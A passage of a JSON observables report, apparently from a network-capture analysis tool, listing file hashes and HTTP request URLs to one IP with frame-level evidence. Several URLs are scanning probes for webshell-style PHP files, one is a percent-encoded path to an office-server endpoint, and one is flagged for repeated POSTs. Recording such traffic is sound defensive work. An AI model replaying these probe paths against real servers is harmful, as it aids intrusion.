        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-1230d7c0b67b27a819c1d02f",
        "type": "sha256",
        "value": "b9675fae78e1629a839003278047bd854656d31f0a3990d9bf192f9d81454a97",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-6b65dd3e64933512e2253855",
        "type": "sha256",
        "value": "ba1f895b79ddd4458c3fd2f0721ce08e44618c415277b3bca26e58c2d6990ba1",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-ab2fc39373719291baccd9a8",
        "type": "sha256",
        "value": "bd18f7078dd097ee2c16800851a78b8b8dc6f15700dc2f9ba568761b9d6e82c7",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4da2816fbe29a2d32ce76e1a",
        "type": "sha256",
        "value": "c167ff44fed14c30dd6e0fee4907bafec8f7cd21b99f2b2171c0c524a2e68aba",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-bbe57c3b21839d58804b9438",
        "type": "sha256",
        "value": "c21ce16ee41a235a14a1cb8dde0712f14ecf2e509ca4708b5c3649936693fb72",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-784c45de080be50c2b1689e4",
        "type": "sha256",
        "value": "c392f0b33c844ce01c1e49f41b76ff4afabd2aa9ba990aeede430cab19f9605e",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-944205fa2cb94182a98e1167",
        "type": "sha256",
        "value": "c3e6f10a64140a912b9157eec7deacf0197307bb7503dc7247a75cb8d3693084",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-3ee3f4d9977873dfcd7c3b67",
        "type": "sha256",
        "value": "c3eeaf0ad25a1b0b6f039960a12d5a0a057063e6f55ba7455e3280a5970b7e77",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-3c136736955d5b92f9852c4a",
        "type": "sha256",
        "value": "c48e6733b3802d1bbf20444cd7379191ce0fa375f7fd5496b74af4c9433c21ac",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-76a228a902433d44e0b5bd0d",
        "type": "sha256",
        "value": "ca6d88dbd1c94ff8a71cdee9a85e4a256f45b2b46a97adbeaf650d252798c0cb",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-20a39ae105fd9ad9f6bc4dc3",
        "type": "sha256",
        "value": "ce00fb93bdd8799116dee501491619b2987f56bcff2e1260e6e72e0714e0f28f",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-300278f8af37be73dcb234e2",
        "type": "sha256",
        "value": "cedc5ec45dfeb1038a22da675c2e39f81bc4ac92edb6d8855ada19c5b408676d",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-865b4450a771c4f985229964",
        "type": "sha256",
        "value": "d5ed840ae489ce44a548368ee4509159861b1ea9cd7b4f25757b4e48034c6e26",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d32c1b304e918d66705a0407",
        "type": "sha256",
        "value": "d865a258acf829c542f35fca5931a773daac3d1a5109d6b6d5d78793ec244ba6",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-44983343f9d5689a8e44442e",
        "type": "sha256",
        "value": "db1f3f66a80465a4d301fdcc8e0fe1eadc8df8686b51045d6761827ef1ab4d62",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-67dc386ce6d187fe449fa061",
        "type": "sha256",
        "value": "dbf0d0abe58f7dd74438929ab8dea07e5bf6beb6b648667e3c76fbd10f825db0",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-3fd783ddc84f58a6ae644b1c",
        "type": "sha256",
        "value": "dc5eda42292e02c4bd0661d61a85656c9cfc498fc84df0e3fc39c11d5e975489",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-6b3188291a468d22976d6d40",
        "type": "sha256",
        "value": "dc99dd551fa056c087c081fc33173a22bdf15d234dbef758de327663fe1b5dad",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a680b251ce39653f8c6ef774",
        "type": "sha256",
        "value": "de82cfb9dcaa44def410601aa958c737e74e451c058b8c964e33f1c5d01bb124",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-c65d99eb3b50406e988e83b9",
        "type": "sha256",
        "value": "df536ceea712fce0cbd5c6ab4d5bd03f0da47e297d366e7d8b94587049f60e8f",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e6f9f10656ab5ae8868d262d",
        "type": "sha256",
        "value": "df68b2a3ded8ac0bbb5df2004cb70fcf2af56e207c70b360e6b5a19a28792640",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-371d35175f7ff1963f4004ea",
        "type": "sha256",
        "value": "e100603116e2ef5ad761bb07fe2eda8bab6ef2525c5d9647b6108f8be84a7c2a",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-c19289393123e81d8854dc7b",
        "type": "sha256",
        "value": "e4e9a66087f77e4a064a175c3fb36f3259617ff72fb2e12d08cb375f985f327b",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-eff366a552c3d56a9696daa1",
        "type": "sha256",
        "value": "e7a8ee05bb0196f85adf00c64b9196dd3bc9bf0838052493634d78896767f418",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f322090416a445a6a6307878",
        "type": "sha256",
        "value": "e85e98b76eff35f6f764c4f87aaaad9aef7b8c330289656a0e290a67ae25c265",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a23ed42bbcd8fe622b40bf30",
        "type": "sha256",
        "value": "eba75f2e544604a5c8201de6992a4111cf7df474fafb3bfa98786e0c2c66e788",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-ebd2408ba8ca2a156b5a1f3b",
        "type": "sha256",
        "value": "ecf7fe3c44cf97fe0fe76364fc5c699afa7a5414ff339cde92d3ff1b5b00a42b",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-61b7d3ea31cdb55df1023bdb",
        "type": "sha256",
        "value": "ed6d902f4f14b9ae2e25ae1882603ba1359ec2065acefc2ec322284dad1cbc48",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-c90c7847e1dbc665803b1108",
        "type": "sha256",
        "value": "ee0baf8858675f8e670d5f1e3f9945ed1120eccde1c24be5cafc1e251637aa47",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-2317667da78a394937143dab",
        "type": "sha256",
        "value": "f0ec8b0238af53aa86c9cba9f94ce4c4d93e4e4b26a4b8478b9d04b909ccf900",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-6f55075a7ffb2919c7cb2426",
        "type": "sha256",
        "value": "f32f1906df0271cc992f71e3c11c03e6b32739b0d3c4056127181806d0b3da65",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d4205b12e5c280df3074e42e",
        "type": "sha256",
        "value": "f37feb3989cd9f1337ccd8becd3dab888fa19a06e89d904851ecfb09151cd06a",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-63873eea468570f18bd090a5",
        "type": "sha256",
        "value": "f49f38b80f1b42ea04d040dfe84b546eab5046ff1cebc46220048e81331e77af",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-70746d372691620c893bebdf",
        "type": "sha256",
        "value": "f4bdfe1a51f53263d3692ca20b33dbb8b42d23b3bc846058792ce6f3aa7042c2",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d58d6dedd6fade0382d50bfd",
        "type": "sha256",
        "value": "f5cbe4a6f56982e8cb5aa5c59c396cd2e3a556aa7701781787471eb89abb67cc",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-6465ea3963bbfb3cc464333f",
        "type": "sha256",
        "value": "f5e735af8b829508f30b65ecee7c9b7e1d2dcf9a2542ea8e993dfc1dccf6afc0",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-de167e231a23028ae167072f",
        "type": "sha256",
        "value": "f61a99b580f6f7d5be6606cc9bfad8ef439a9d99502002ec26cbe10e9c1c4680",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-2ee17bfd36dea14e3e14d0d7",
        "type": "sha256",
        "value": "f67a132d9c7574f5a220c353a44a9c831f36a55de24b0205967d8c82e74cd2ac",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-fe381fbe362b7352a35f549b",
        "type": "sha256",
        "value": "f6b92f8e7a0f2820215864ea67ef68a73dfd4a8aa7c71a3c86237ea8120cad4c",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-03229dd31aeb282cc1cee744",
        "type": "sha256",
        "value": "f991a1a53ff96435a1f2d9a8fa9096da14be40631eda9f4db25752f5f6e93827",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-56c43c4ada46852b31bfe6b4",
        "type": "sha256",
        "value": "fa93c862accf27f008bdc88f5621a8cd682f07c664a536a3fdd209ce55c3845f",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a77fd274955c8744b3c3d1c3",
        "type": "sha256",
        "value": "fbc1d599972304c52bdbbb4031ec773d49f676a86c858b0720729543d7de16f0",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d7148a16ebb364ec97a9f8d7",
        "type": "sha256",
        "value": "fcb9c5e6294ada43b98743ebcf2b19f76797de2cccf3571638fa8522dd5af218",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-9b838ef65189f32cbc5c44ee",
        "type": "sha256",
        "value": "fd392dc065349461b88b41e02c8a6376cc92a8420e9349aac77a0000170d783f",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0f65c53d29d84b1be4886812",
        "type": "sha256",
        "value": "ff3d2ac0ebd4aaa76a09c004b754f8370b74659fe3dc02760c40b097bb9dfd97",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [],
        "roles": [
          "exported-object"
        ],
        "enrichment_eligible": true,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-8c93bf12fc2846cb0cf41630",
        "type": "url",
        "value": "http://128.199.64.235/",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 1,
            "frame_number": 10,
            "display_filter": "frame.number == 10",
            "timestamp_epoch": "1577255332.202782000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 21,
            "display_filter": "frame.number == 21",
            "timestamp_epoch": "1577255333.019833000"
          },
          {
            "tcp_stream": 5,
            "frame_number": 285,
            "display_filter": "frame.number == 285",
            "timestamp_epoch": "1577255408.608431000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a9995b27af58e675fef8284b",
        "type": "url",
        "value": "http://128.199.64.235/%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 67,
            "frame_number": 2020,
            "display_filter": "frame.number == 2020",
            "timestamp_epoch": "1577256293.200087000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-48a83dc548cbcb9cca7e30d8",
        "type": "url",
        "value": "http://128.199.64.235/.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1705,
            "display_filter": "frame.number == 1705",
            "timestamp_epoch": "1577256139.528820000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f41b6096f14485fc7c2ee445",
        "type": "url",
        "value": "http://128.199.64.235/099.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1051,
            "display_filter": "frame.number == 1051",
            "timestamp_epoch": "1577255806.143819000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-ad076460afa5cef5957eaae4",
        "type": "url",
        "value": "http://128.199.64.235/1.php",
        "classification": "suspicious",
        "ioc_candidate": true,
        "reasons": [
          {
            "kind": "behavior",
            "finding_id": "finding-23fe904e78a62affb365081e",
            "rule_id": "repeated-http-posts",
            "frame_number": 930
          },
          {
            "kind": "behavior",
            "finding_id": "finding-23fe904e78a62affb365081e",
            "rule_id": "repeated-http-posts",
            "frame_number": 933
          },
          {
            "kind": "behavior",
            "finding_id": "finding-23fe904e78a62affb365081e",
            "rule_id": "repeated-http-posts",
            "frame_number": 1497
          },
          {
            "kind": "behavior",
            "finding_id": "finding-23fe904e78a62affb365081e",
            "rule_id": "repeated-http-posts",
            "frame_number": 1659
          },
          {
            "kind": "behavior",
            "finding_id": "finding-23fe904e78a62affb365081e",
            "rule_id": "repeated-http-posts",
            "frame_number": 1668
          },
          {
            "kind": "behavior",
            "finding_id": "finding-23fe904e78a62affb365081e",
            "rule_id": "repeated-http-posts",
            "frame_number": 1922
          }
        ],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Candidate requires analyst validation",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 930,
            "display_filter": "frame.number == 930",
            "timestamp_epoch": "1577255776.486853000"
          },
          {
            "tcp_stream": 30,
            "frame_number": 933,
            "display_filter": "frame.number == 933",
            "timestamp_epoch": "1577255776.975704000"
          },
          {
            "tcp_stream": 50,
            "frame_number": 1497,
            "display_filter": "frame.number == 1497",
            "timestamp_epoch": "1577256050.592425000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1659,
            "display_filter": "frame.number == 1659",
            "timestamp_epoch": "1577256131.504197000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1668,
            "display_filter": "frame.number == 1668",
            "timestamp_epoch": "1577256133.203563000"
          },
          {
            "tcp_stream": 64,
            "frame_number": 1922,
            "display_filter": "frame.number == 1922",
            "timestamp_epoch": "1577256241.792241000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d4b2d7993653a9598a268126",
        "type": "url",
        "value": "http://128.199.64.235/1/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2316,
            "display_filter": "frame.number == 2316",
            "timestamp_epoch": "1577256407.601342000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-8fe499a55cc49da7c6dbac87",
        "type": "url",
        "value": "http://128.199.64.235/11a.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 25,
            "frame_number": 823,
            "display_filter": "frame.number == 823",
            "timestamp_epoch": "1577255717.595600000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-150c1c4c7f552e1c465bb4d6",
        "type": "url",
        "value": "http://128.199.64.235/12.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1251,
            "display_filter": "frame.number == 1251",
            "timestamp_epoch": "1577255888.044303000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f8f0205232b12708d06dca25",
        "type": "url",
        "value": "http://128.199.64.235/1213.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 36,
            "frame_number": 1278,
            "display_filter": "frame.number == 1278",
            "timestamp_epoch": "1577255905.921249000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-83bc1a4ae111d1b0912b7e71",
        "type": "url",
        "value": "http://128.199.64.235/123.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1681,
            "display_filter": "frame.number == 1681",
            "timestamp_epoch": "1577256136.611454000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-c584963131c45bd92e28f2be",
        "type": "url",
        "value": "http://128.199.64.235/123131/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2332,
            "display_filter": "frame.number == 2332",
            "timestamp_epoch": "1577256409.711506000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-07348fff905af3e7909d5e19",
        "type": "url",
        "value": "http://128.199.64.235/1234.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1684,
            "display_filter": "frame.number == 1684",
            "timestamp_epoch": "1577256136.878957000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d33ad97ff8cca20a84a141f3",
        "type": "url",
        "value": "http://128.199.64.235/1hou.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 43,
            "frame_number": 1379,
            "display_filter": "frame.number == 1379",
            "timestamp_epoch": "1577255976.248587000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
